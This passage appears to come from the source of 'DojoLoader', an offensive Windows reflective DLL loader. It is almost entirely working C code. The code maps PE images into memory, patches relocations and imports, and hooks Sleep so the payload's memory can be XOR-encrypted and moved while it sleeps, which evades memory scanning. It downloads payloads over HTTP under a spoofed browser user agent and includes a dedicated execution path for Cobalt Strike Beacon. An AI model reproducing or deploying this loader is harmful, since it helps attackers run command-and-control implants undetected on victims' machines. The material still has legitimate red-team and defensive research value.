220 | pMemModule->iBase = (ULONGLONG)pDest;
221 | pMemModule->dwSizeOfImage = pImageNtHeader->OptionalHeader.SizeOfImage;
222 | pMemModule->isLoaded = TRUE;
223 |
224 | pImageDosHeader = (PIMAGE_DOS_HEADER)pDest;
225 | pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew);
226 | pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS));
227 |
228 | LPVOID pSectionBase = NULL;
229 | LPVOID pSectionDataSource = NULL;
230 | for (int i = 0; i < nNumberOfSections; ++i) {
231 | if (pImageSectionHeader[i].VirtualAddress != 0) {
232 | pSectionBase = MakePointer(LPVOID, lpBase, pImageSectionHeader[i].VirtualAddress);
233 | if (pImageSectionHeader[i].SizeOfRawData == 0) {
234 | DWORD size = pImageSectionHeader[i].Misc.VirtualSize > 0 ? pImageSectionHeader[i].Misc.VirtualSize : pImageNtHeader->OptionalHeader.SectionAlignment;
235 | if (size > 0) {
236 | ZeroMemory(pSectionBase, size);
237 | }
238 | }
239 | else {
240 | // Checking if section has executable flag
241 | if (pImageSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
242 | DllPayload.execRegionPtr = pSectionBase;
243 | DllPayload.execRegionSize = pImageSectionHeader[i].SizeOfRawData;
244 | printf("[+] Saved RX memory pointer address: %#llx and size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize);
245 | }
246 | pSectionDataSource = MakePointer(LPVOID, PEdata, pImageSectionHeader[i].PointerToRawData);
247 | RtlMoveMemory(pSectionBase, pSectionDataSource, pImageSectionHeader[i].SizeOfRawData);
248 | }
249 | }
250 | }
251 |
252 |
253 |
254 | if (Configs.SleepHookFunc == SleepHookMemoryHopping || Configs.SleepHookFunc == SleepHookMemoryBouncing) {
255 | printf("[+] copying %u (%#llx) bytes from address %p to buffer\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, DllPayload.startOfMappedPE);
256 | DllPayload.tempPEdatabuffer = (BYTE*)malloc(DllPayload.mappedimagesize);
257 | if (DllPayload.tempPEdatabuffer == NULL) {
258 | printf("[+] Error: Failed to allocate dataBuffer\n");
259 | return FALSE;
260 | }
261 | memcpy(DllPayload.tempPEdatabuffer, (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase), DllPayload.mappedimagesize);
262 | printf("[+] XORing buffer\n");
263 | XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey);
264 | }
265 |
266 |
267 | return TRUE;
268 | }
269 |
270 |
271 | //--------------------------------------------------------------------------------------------------------------//
272 | // Relocates the module.
273 | doRelocations(PMEM_MODULE pMemModule) {
274 | if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL)
275 | return FALSE;
276 |
277 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew);
278 | LONGLONG lBaseDelta = (PBYTE)pMemModule->lpBase - (PBYTE)oldbase;
279 |
280 | if (lBaseDelta == 0) {
281 | printf("[+] no delta detected from address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE);
282 | return TRUE;
283 | }
284 |
285 | printf("[+] delta of %lld (%#llx) bytes detected from address: %#llx\n", (unsigned long long)lBaseDelta, (unsigned long long)lBaseDelta, (unsigned long long)DllPayload.startOfMappedPE);
286 |
287 | if (pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == 0 ||
288 | pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size == 0)
289 | return TRUE;
290 |
291 | PIMAGE_BASE_RELOCATION pImageBaseRelocation = MakePointer(PIMAGE_BASE_RELOCATION, pMemModule->lpBase,
292 | pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
293 |
294 | if (pImageBaseRelocation == NULL) {
295 | pMemModule->dwErrorCode = MMEC_INVALID_RELOCATION_BASE;
296 | return FALSE;
297 | }
298 |
299 | while ((pImageBaseRelocation->VirtualAddress + pImageBaseRelocation->SizeOfBlock) != 0) {
300 | PWORD pRelocationData = MakePointer(PWORD, pImageBaseRelocation, sizeof(IMAGE_BASE_RELOCATION));
301 | int NumberOfRelocationData = (pImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
302 |
303 | for (int i = 0; i < NumberOfRelocationData; i++) {
304 | if (IMAGE_REL_BASED_HIGHLOW == (pRelocationData[i] >> 12)) {
305 | PDWORD pAddress = (PDWORD)(pMemModule->iBase + pImageBaseRelocation->VirtualAddress + (pRelocationData[i] & 0x0FFF));
306 | DWORD oldAddress = *pAddress;
307 | *pAddress += (DWORD)lBaseDelta;
308 | printf("[+] Relocated HIGHLOW at %#llx from %#llx to %#llx\n", (ULONGLONG)pAddress, (ULONGLONG)oldAddress, (ULONGLONG)*pAddress);
309 | }
310 |
311 | #ifdef _WIN64
312 | if (IMAGE_REL_BASED_DIR64 == (pRelocationData[i] >> 12)) {
313 | PULONGLONG pAddress = (PULONGLONG)(pMemModule->iBase + pImageBaseRelocation->VirtualAddress + (pRelocationData[i] & 0x0FFF));
314 | ULONGLONG oldAddress = *pAddress;
315 | *pAddress += lBaseDelta;
316 | printf("[+] Relocated DIR64 at %#llx from %#llx to %#llx\n", (ULONGLONG)pAddress, (ULONGLONG)oldAddress, (ULONGLONG)*pAddress);
317 | }
318 | #endif
319 | }
320 |
321 | pImageBaseRelocation = MakePointer(PIMAGE_BASE_RELOCATION, pImageBaseRelocation, pImageBaseRelocation->SizeOfBlock);
322 | }
323 |
324 | return TRUE;
325 | }
326 |
327 |
328 |
329 |
330 |
331 |
332 |
333 | BOOL ResolveImports(PMEM_MODULE pMemModule) {
334 | if (NULL == pMemModule || NULL == pMemModule->pImageDosHeader)
335 | return FALSE;
336 |
337 | PIMAGE_NT_HEADERS pImageNtHeader =
338 | MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew);
339 |
340 | if (pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0 ||
341 | pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size == 0)
342 | return TRUE;
343 |
344 | PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor =
345 | MakePointer(PIMAGE_IMPORT_DESCRIPTOR, pMemModule->lpBase,
346 | pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
347 |
348 | for (; pImageImportDescriptor->Name; pImageImportDescriptor++) {
349 | PCHAR pDllName = MakePointer(PCHAR, pMemModule->lpBase, pImageImportDescriptor->Name);
350 | HMODULE hMod = GetModuleHandleA(pDllName);
351 | if (NULL == hMod) {
352 | hMod = LoadLibraryA(pDllName);
353 | }
354 | if (NULL == hMod) {
355 | pMemModule->dwErrorCode = MMEC_IMPORT_MODULE_FAILED;
356 | return FALSE;
357 | }
358 |
359 | uintptr_t* thunkRef;
360 | FARPROC* funcRef;
361 |
362 | if (pImageImportDescriptor->OriginalFirstThunk) {
363 | thunkRef = MakePointer(uintptr_t*, pMemModule->lpBase, pImageImportDescriptor->OriginalFirstThunk);
364 | funcRef = MakePointer(FARPROC*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk);
365 | }
366 | else {
367 | thunkRef = MakePointer(uintptr_t*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk);
368 | funcRef = MakePointer(FARPROC*, pMemModule->lpBase, pImageImportDescriptor->FirstThunk);
369 | }
370 |
371 | for (; *thunkRef; thunkRef++, funcRef++) {
372 | if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
373 | *funcRef = GetProcAddress(hMod, (LPCSTR)IMAGE_ORDINAL(*thunkRef));
374 | printf("[+] Ordinal: %llu, Address: %p\n", (unsigned long long)IMAGE_ORDINAL(*thunkRef), *funcRef);
375 | }
376 | else {
377 | PIMAGE_IMPORT_BY_NAME thunkData = MakePointer(PIMAGE_IMPORT_BY_NAME, pMemModule->lpBase, (*thunkRef));
378 | *funcRef = GetProcAddress(hMod, (LPCSTR)&thunkData->Name);
379 | printf("[+] Function Name: %s, Address: %p\n", thunkData->Name, *funcRef);
380 |
381 | // Check if the function should be hooked
382 | if (Configs.SleepHookFunc != NULL) {
383 | if (check_hook((LPCSTR)&thunkData->Name)) {
384 | printf("[+] Hooking function: %s\n", thunkData->Name);
385 | *funcRef = (FARPROC)Configs.SleepHookFunc;
386 | }
387 | }
388 | }
389 |
390 | if (*funcRef == 0) {
391 | pMemModule->dwErrorCode = MMEC_IMPORT_MODULE_FAILED;
392 | return FALSE;
393 | }
394 | printf("[+] Written to IAT at address: %p\n", (void*)funcRef);
395 | }
396 | }
397 |
398 | return TRUE;
399 | }
400 |
401 |
402 |
403 | BOOL SetPermissions(PMEM_MODULE pMemModule) {
404 | if (pMemModule == NULL)
405 | return FALSE;
406 |
407 | int Protections[2][2][2] = {
408 | {{PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE}},
409 | {{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}},
410 | };
411 |
412 | PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)(pMemModule->lpBase);
413 |
414 | ULONGLONG ulBaseHigh = 0;
415 | #ifdef _WIN64
416 | ulBaseHigh = (pMemModule->iBase & 0xffffffff00000000);
417 | #endif
418 |
419 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew);
420 | int nNumberOfSections = pImageNtHeader->FileHeader.NumberOfSections;
421 | PIMAGE_SECTION_HEADER pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS));
422 |
423 | for (int idxSection = 0; idxSection < nNumberOfSections; idxSection++) {
424 | DWORD protectFlag = 0;
425 | DWORD oldProtect = 0;
426 | BOOL isExecutable = FALSE;
427 | BOOL isReadable = FALSE;
428 | BOOL isWritable = FALSE;
429 | BOOL isNotCache = FALSE;
430 |
431 | ULONGLONG dwSectionBase = (ULONGLONG)pMemModule->lpBase + pImageSectionHeader[idxSection].VirtualAddress;
432 |
433 | DWORD dwSecionSize = pImageSectionHeader[idxSection].SizeOfRawData;
434 | if (dwSecionSize == 0)
435 | continue;
436 |
437 | DWORD dwSectionCharacteristics = pImageSectionHeader[idxSection].Characteristics;
438 |
439 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_DISCARDABLE) {
440 | VirtualFree((LPVOID)dwSectionBase, dwSecionSize, MEM_DECOMMIT);
441 | continue;
442 | }
443 |
444 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_EXECUTE)
445 | isExecutable = TRUE;
446 |
447 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_READ)
448 | isReadable = TRUE;
449 |
450 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_WRITE)
451 | isWritable = TRUE;
452 |
453 | if (dwSectionCharacteristics & IMAGE_SCN_MEM_NOT_CACHED)
454 | isNotCache = TRUE;
455 |
456 | protectFlag = Protections[isExecutable][isReadable][isWritable];
457 | if (isNotCache)
458 | protectFlag |= PAGE_NOCACHE;
459 |
460 | if (!VirtualProtect((LPVOID)dwSectionBase, dwSecionSize, protectFlag, &oldProtect)) {
461 | printf("[+] VirtualProtect failed for address: %p, size: %lu (%#llx), permissions: %lu\n", (void*)dwSectionBase, dwSecionSize, (unsigned long long)dwSecionSize, protectFlag);
462 | pMemModule->dwErrorCode = MMEC_PROTECT_SECTION_FAILED;
463 | return FALSE;
464 | } else {
465 | printf("[+] VirtualProtect succeeded for address: %p, size: %lu (%#llx), permissions: %lu\n", (void*)dwSectionBase, dwSecionSize, (unsigned long long)dwSecionSize, protectFlag);
466 | }
467 | }
468 |
469 | return TRUE;
470 | }
471 |
472 |
473 | //--------------------------------------------------------------------------------------------------------------//
474 | // Processes TLS data
475 | BOOL HandleTLS(PMEM_MODULE pMemModule) {
476 | if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL)
477 | return FALSE;
478 |
479 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew);
480 | IMAGE_DATA_DIRECTORY imageDirectoryEntryTls = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
481 |
482 | if (imageDirectoryEntryTls.VirtualAddress == 0)
483 | return TRUE;
484 |
485 | PIMAGE_TLS_DIRECTORY tls = (PIMAGE_TLS_DIRECTORY)(pMemModule->iBase + imageDirectoryEntryTls.VirtualAddress);
486 | PIMAGE_TLS_CALLBACK* callback = (PIMAGE_TLS_CALLBACK*)tls->AddressOfCallBacks;
487 |
488 | if (callback) {
489 | while (*callback) {
490 | (*callback)((LPVOID)pMemModule->hModule, DLL_PROCESS_ATTACH, NULL);
491 | callback++;
492 | }
493 | }
494 |
495 | return TRUE;
496 | }
497 |
498 |
499 | //--------------------------------------------------------------------------------------------------------------//
500 | // Calls the module entry.
501 | BOOL CallModuleEntry(PMEM_MODULE pMemModule, DWORD dwReason) {
502 | if (pMemModule == NULL || pMemModule->pImageDosHeader == NULL)
503 | return FALSE;
504 |
505 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pMemModule->pImageDosHeader, pMemModule->pImageDosHeader->e_lfanew);
506 | Type_DllMain pfnModuleEntry = NULL;
507 |
508 | if (pImageNtHeader->OptionalHeader.AddressOfEntryPoint == 0) {
509 | return FALSE;
510 | }
511 |
512 | pfnModuleEntry = MakePointer(Type_DllMain, pMemModule->lpBase, pImageNtHeader->OptionalHeader.AddressOfEntryPoint);
513 |
514 | if (pfnModuleEntry == NULL) {
515 | pMemModule->dwErrorCode = MMEC_INVALID_ENTRY_POINT;
516 | return FALSE;
517 | }
518 |
519 | printf("[+] Calling entry point at address: %p\n", (void*)pfnModuleEntry);
520 |
521 |
522 |
523 | if (Configs.downloadedBuffer != NULL) {
524 | printf("[+] freeing original opened/downloaded payload at address %p\n", Configs.downloadedBuffer);
525 | free(Configs.downloadedBuffer);
526 | Configs.downloadedBuffer = NULL; // Set pointer to NULL after freeing
527 | }
528 |
529 |
530 |
531 | // execution method for Cobalt Strike 4.9.1
532 | if(Configs.Beacon){
533 | pfnModuleEntry(pMemModule->hModule, dwReason, NULL);
534 | return pfnModuleEntry(pMemModule->hModule, 4, NULL);
535 | }
536 | else {
537 | return pfnModuleEntry(pMemModule->hModule, dwReason, NULL);
538 |
539 | }
540 | }
541 |
542 |
543 |
544 | //--------------------------------------------------------------------------------------------------------------//
545 | // Unmaps all the sections.
546 | VOID UnmapModule(PMEM_MODULE pMemModule) {
547 | if (NULL == pMemModule || FALSE == pMemModule->isLoaded || NULL == pMemModule->lpBase)
548 | return;
549 | VirtualFree(pMemModule->lpBase, 0, MEM_RELEASE);
550 | pMemModule->lpBase = NULL;
551 | pMemModule->dwCrc = 0;
552 | pMemModule->dwSizeOfImage = 0;
553 | pMemModule->isLoaded = FALSE;
554 | }
555 |
556 | //--------------------------------------------------------------------------------------------------------------//
557 | // Gets the CRC32 of the data.
558 | UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize) {
559 | #define CRC32_POLY 0x04C10DB7L
560 | UINT32 crc = 0;
561 | UINT32 Crc32table[256];
562 | for (int i = 0; i < 256; i++) {
563 | crc = (UINT32)(i << 24);
564 | for (int j = 0; j < 8; j++) {
565 | if (crc >> 31)
566 | crc = (crc << 1) ^ CRC32_POLY;
567 | else
568 | crc = crc << 1;
569 | }
570 | Crc32table[i] = crc;
571 | }
572 |
573 | crc = uInit;
574 | UINT32 nCount = nBufSize;
575 | PUCHAR p = (PUCHAR)pBuf;
576 | while (nCount--) {
577 | crc = (crc << 8) ^ Crc32table[(crc >> 24) ^ *p++];
578 | }
579 |
580 | return crc;
581 | }
582 |
--------------------------------------------------------------------------------
/DojoLoader/memloader.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include "structs.h"
3 |
4 | #ifndef MEMLOADER_H
5 | #define SIZE_ARRAY 32
6 | #endif
7 |
8 |
9 | //global variable offset
10 | extern int offset;// 0x30000;
11 |
12 |
13 |
14 | extern PVOID lpBaseArray[SIZE_ARRAY]; //save addresses that we wrote to, so that we can free
15 | extern SIZE_T TSizeArray[SIZE_ARRAY]; //save sizes of the memory pages we allocated
16 | extern int index;
17 |
18 |
19 | void FreeRawModule(PVOID pDllBytes);
20 |
21 | //--------------------------------------------------------------------------------------------------------------//
22 | // the following 2 functions, are made to add elements in the arrays we have
23 | void AppendTSizeArray(SIZE_T Value);
24 | void AppendlpBaseArray(PVOID Value);
25 |
26 | BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID PEdata, BOOL CallEntryPoint);
27 |
28 | HMEMMODULE LoadMod(LPVOID PEdata, BOOL CallEntryPoint, DWORD* pdwError);
29 |
30 | // Tests the return value and jump to exit label if false.
31 | #define IfFalseGoExitWithError(x, exp) \
32 | do { \
33 | if (!(br = (x)) && (exp)) \
34 | goto _Exit; \
35 | } while (0)
36 |
37 | // Create a pointer value.
38 | #define MakePointer(t, p, offset) ((t)((PBYTE)(p) + offset))
39 |
40 | /// True if the data is valid PE format.
41 | BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID PEdata);
42 |
43 |
44 | // this function here is used to map all the sections
45 | BOOL MapModule(PMEM_MODULE pMemModule, LPVOID PEdata);
46 |
47 | // Relocates the module.
48 | BOOL doRelocations(PMEM_MODULE pMemModule);
49 |
50 | BOOL check_hook(const char* functionName);
51 |
52 | BOOL ResolveImports(PMEM_MODULE pMemModule);
53 | BOOL SetPermissions(PMEM_MODULE pMemModule);
54 |
55 |
56 | // Processes TLS data
57 | BOOL HandleTLS(PMEM_MODULE pMemModule);
58 |
59 |
60 | // Calls the module entry.
61 | BOOL CallModuleEntry(PMEM_MODULE pMemModule, DWORD dwReason);
62 |
63 | //--------------------------------------------------------------------------------------------------------------//
64 | // Unmaps all the sections.
65 | VOID UnmapModule(PMEM_MODULE pMemModule);
66 | // Gets the CRC32 of the data.
67 | UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize);
68 |
--------------------------------------------------------------------------------
/DojoLoader/structs.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 |
4 | #define MMEC_OK 0
5 | #define MMEC_BAD_PE_FORMAT 1
6 | #define MMEC_ALLOCATED_MEMORY_FAILED 2
7 | #define MMEC_INVALID_RELOCATION_BASE 3
8 | #define MMEC_IMPORT_MODULE_FAILED 4
9 | #define MMEC_PROTECT_SECTION_FAILED 5
10 | #define MMEC_INVALID_ENTRY_POINT 6
11 | #define MMEC_INVALID_WIN32_ENV 0xff
12 |
13 | /// Enums for MemModuleHelper.
14 | typedef enum _MMHELPER_METHOD {
15 | MHM_BOOL_LOAD, // Call LoadMemModule
16 | MHM_VOID_FREE, // Call FreeMemModule
17 | MHM_FARPROC_GETPROC, // Call GetMemModuleProc
18 | } MMHELPER_METHOD;
19 |
20 | typedef void** HMEMMODULE;
21 |
22 | struct PAYLOAD {
23 | PVOID pDllBytes;
24 | DWORD BytesNumber;
25 | HMEMMODULE Module;
26 | DWORD mappedimagesize;
27 | LPVOID startOfMappedPE;
28 | LPVOID OldstartOfMappedPE;
29 | BYTE* tempPEdatabuffer;
30 | LPVOID execRegionPtr;
31 | DWORD execRegionSize;
32 |
33 | }_PAYLOAD, * PPAYLOAD;
34 |
35 | extern struct PAYLOAD DllPayload;
36 |
37 | typedef void (WINAPI* FuncPtr)(DWORD);
38 |
39 | struct CONFIG {
40 | FuncPtr SleepHookFunc;
41 | char* XorKey;
42 | char SleepXorKey[256];
43 | BOOL Beacon;
44 | BOOL Sleep_RXRW;
45 | char* downloadedBuffer;
46 | };
47 |
48 | extern struct CONFIG Configs;
49 |
50 | typedef struct __MEMMODULE_S {
51 | union {
52 | #if _WIN64
53 | ULONGLONG iBase;
54 | #else
55 | DWORD iBase;
56 | #endif
57 | HMODULE hModule;
58 | LPVOID lpBase;
59 | PIMAGE_DOS_HEADER pImageDosHeader;
60 | };
61 | DWORD dwSizeOfImage;
62 | DWORD dwCrc;
63 |
64 |
65 | BOOL CallEntryPoint;
66 | BOOL isLoaded;
67 | DWORD dwErrorCode;
68 | } MEM_MODULE, * PMEM_MODULE;
69 |
70 | extern PMEM_MODULE pMemModule;
71 |
72 | extern LPVOID oldbase;
73 |
74 | //--------------------------------------------------------------------------------------------------------------//
75 |
76 |
77 | typedef BOOL(WINAPI* Type_DllMain)(HMODULE, DWORD, LPVOID);
78 |
79 | BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer, BOOL bCallEntry);
80 | BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer);
81 | BOOL MapModule(PMEM_MODULE pMemModule, LPVOID lpPeModuleBuffer);
82 | BOOL doRelocations(PMEM_MODULE pMemModule);
83 | BOOL ResolveImports(PMEM_MODULE pMemModule);
84 | BOOL SetPermissions(PMEM_MODULE pMemModule);
85 | BOOL HandleTLS(PMEM_MODULE pMemModule);
86 | BOOL CallEntryPoint(PMEM_MODULE pMemModule, DWORD dwReason);
87 | VOID UnmapModule(PMEM_MODULE pMemModule);
88 | UINT32 GetCRC32(UINT32 uInit, void* pBuf, UINT32 nBufSize);
89 |
90 | //--------------------------------------------------------------------------------------------------------------//
91 |
92 |
93 | typedef struct _UNICODE_STRING {
94 | USHORT Length;
95 | USHORT MaximumLength;
96 | PWSTR Buffer;
97 | } UNICODE_STRING;
98 | typedef UNICODE_STRING* PUNICODE_STRING;
99 | typedef const UNICODE_STRING* PCUNICODE_STRING;
100 |
101 | typedef struct _LDR_DATA_TABLE_ENTRY {
102 | LIST_ENTRY InLoadOrderModuleList;
103 | LIST_ENTRY InMemoryOrderModuleList;
104 | LIST_ENTRY InInitializationOrderModuleList;
105 | PVOID BaseAddress;
106 | PVOID EntryPoint;
107 | ULONG SizeOfImage;
108 | UNICODE_STRING FullDllName;
109 | UNICODE_STRING BaseDllName;
110 | ULONG Flags;
111 | SHORT LoadCount;
112 | SHORT TlsIndex;
113 | LIST_ENTRY HashTableEntry;
114 | ULONG TimeDateStamp;
115 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
116 |
117 | typedef struct _PEB_LDR_DATA {
118 | ULONG Length;
119 | BOOLEAN Initialized;
120 | PVOID SsHandle;
121 | LIST_ENTRY InLoadOrderModuleList;
122 | LIST_ENTRY InMemoryOrderModuleList;
123 | LIST_ENTRY InInitializationOrderModuleList;
124 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
125 |
126 | #ifdef _WIN64
127 | typedef struct _PEB {
128 | BYTE Reserved1[2];
129 | BYTE BeingDebugged;
130 | BYTE Reserved2[21];
131 | PPEB_LDR_DATA Ldr;
132 | PVOID ProcessParameters;
133 | BYTE Reserved3[520];
134 | PVOID PostProcessInitRoutine;
135 | BYTE Reserved4[136];
136 | ULONG SessionId;
137 | } PEB, * PPEB;
138 | #else
139 | typedef struct _PEB {
140 | BYTE Reserved1[2];
141 | BYTE BeingDebugged;
142 | BYTE Reserved2[1];
143 | PVOID Reserved3[2];
144 | PPEB_LDR_DATA Ldr;
145 | LPVOID ProcessParameters;
146 | PVOID Reserved4[3];
147 | PVOID AtlThunkSListPtr;
148 | PVOID Reserved5;
149 | ULONG Reserved6;
150 | PVOID Reserved7;
151 | ULONG Reserved8;
152 | ULONG AtlThunkSListPtr32;
153 | PVOID Reserved9[45];
154 | BYTE Reserved10[96];
155 | LPVOID PostProcessInitRoutine;
156 | BYTE Reserved11[128];
157 | PVOID Reserved12[1];
158 | ULONG SessionId;
159 | } PEB, * PPEB;
160 | #endif
161 |
162 | //--------------------------------------------------------------------------------------------------------------//
--------------------------------------------------------------------------------
/DojoLoader/utils.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "utils.h"
5 | #include "structs.h"
6 |
7 |
8 | #pragma comment(lib, "wininet.lib")
9 |
10 | struct PAYLOAD DllPayload = { 0 };
11 |
12 | char* DownloadFile(const char* url, DWORD* size)
13 | {
14 | HINTERNET hInternet, hConnect;
15 | DWORD bytesRead;
16 |
17 | // Initialize WinINet
18 | hInternet = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
19 | if (hInternet == NULL)
20 | {
21 | printf("InternetOpen failed (%lu)\n", GetLastError());
22 | return NULL;
23 | }
24 |
25 | hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
26 | if (hConnect == NULL)
27 | {
28 | printf("InternetOpenUrlA failed (%lu)\n", GetLastError());
29 | InternetCloseHandle(hInternet);
30 | return NULL;
31 | }
32 |
33 | const DWORD bufferSize = 20 * 1024 * 1024;
34 | char* buffer = malloc(bufferSize);
35 | if (buffer == NULL) {
36 | printf("Failed to allocate memory\n");
37 | return NULL;
38 | }
39 | *size = 0;
40 | while (1)
41 | {
42 | if (!InternetReadFile(hConnect, buffer + *size, 4096, &bytesRead) || bytesRead == 0)
43 | {
44 | break;
45 | }
46 | *size += bytesRead;
47 | if (*size > bufferSize) {
48 | printf("Buffer overflow\n");
49 | free(buffer);
50 | return NULL;
51 | }
52 | }
53 | printf("[+] Buffer allocated at address: %p\n", buffer);
54 |
55 | Configs.downloadedBuffer = buffer;
56 |
57 | InternetCloseHandle(hConnect);
58 | InternetCloseHandle(hInternet);
59 |
60 | return buffer;
61 | }
62 |
63 | void XORWithKey(char* data, DWORD size, const char* key)
64 | {
65 | size_t keyLength = strlen(key);
66 | for (DWORD i = 0; i < size; ++i)
67 | {
68 | data[i] ^= key[i % keyLength];
69 | }
70 | }
71 |
72 | BOOL ReadDllFile(char* FileInput) {
73 | HANDLE hFile;
74 | DWORD FileSize, lpNumberOfBytesRead;
75 | BOOL Succ;
76 | PVOID DllBytes;
77 |
78 |
79 |
80 | hFile = CreateFileA(FileInput, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
81 |
82 | if (hFile == INVALID_HANDLE_VALUE) {
83 | DWORD error = GetLastError();
84 | if (error == ERROR_FILE_NOT_FOUND) {
85 | printf("[!] Dll File Doesnt Exist \n");
86 | }
87 | else {
88 | printf("[!] ERROR READING FILE [%d]\n", error);
89 | }
90 | system("PAUSE");
91 | return FALSE;
92 | }
93 |
94 | FileSize = GetFileSize(hFile, NULL);
95 | DllBytes = malloc((SIZE_T)FileSize);
96 |
97 | Succ = ReadFile(hFile, DllBytes, FileSize, &lpNumberOfBytesRead, NULL);
98 | printf("[i] lpNumberOfBytesRead Read ::: %d \n", lpNumberOfBytesRead);
99 | printf("[+] DllBytes :: 0x%0-16p \n", (void*)DllBytes);
100 | if (!Succ) {
101 | printf("[!] ERROR ReadFile [%d]\n", GetLastError());
102 | system("PAUSE");
103 | return FALSE;
104 | }
105 |
106 | DllPayload.BytesNumber = lpNumberOfBytesRead;
107 | DllPayload.pDllBytes = DllBytes;
108 |
109 | CloseHandle(hFile);
110 |
111 | return TRUE;
112 | }
--------------------------------------------------------------------------------
/DojoLoader/utils.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "structs.h"
4 | #pragma comment(lib, "wininet.lib")
5 | #pragma once
6 |
7 | char* DownloadFile(const char* url, DWORD* size);
8 | void XORWithKey(char* data, DWORD size, const char* key);
9 | BOOL ReadDllFile(char* FileInput);
10 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
